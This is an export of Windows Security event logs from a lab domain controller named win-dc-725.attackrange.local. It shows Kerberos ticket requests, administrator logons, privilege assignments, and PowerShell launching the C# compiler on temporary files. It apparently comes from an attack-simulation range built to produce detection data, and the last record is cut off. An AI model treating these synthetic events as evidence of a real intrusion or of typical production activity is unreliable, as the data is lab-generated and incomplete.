-03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250770 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250769 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250768 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250767 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11ACEF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250766 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11A49C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250765 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11ACEF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250764 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11ACEF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250763 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250762 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250761 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250760 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x118FDD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250859 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcc4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ws2inzbj\ws2inzbj.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250858 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11E8F1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250857 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11E8F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250856 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250855 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250854 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250853 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1208 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x244 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD137.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCD2427266AE8640D4B798B59B1D62E094.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250852 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x244 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\3ug2stnp.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250851 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E480 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250850 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11E480 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64484 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250849 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E480 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250848 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E41F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250847 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11E41F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64483 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250846 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E41F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250845 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E3B9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250844 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11E3B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64482 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250843 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E3B9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information 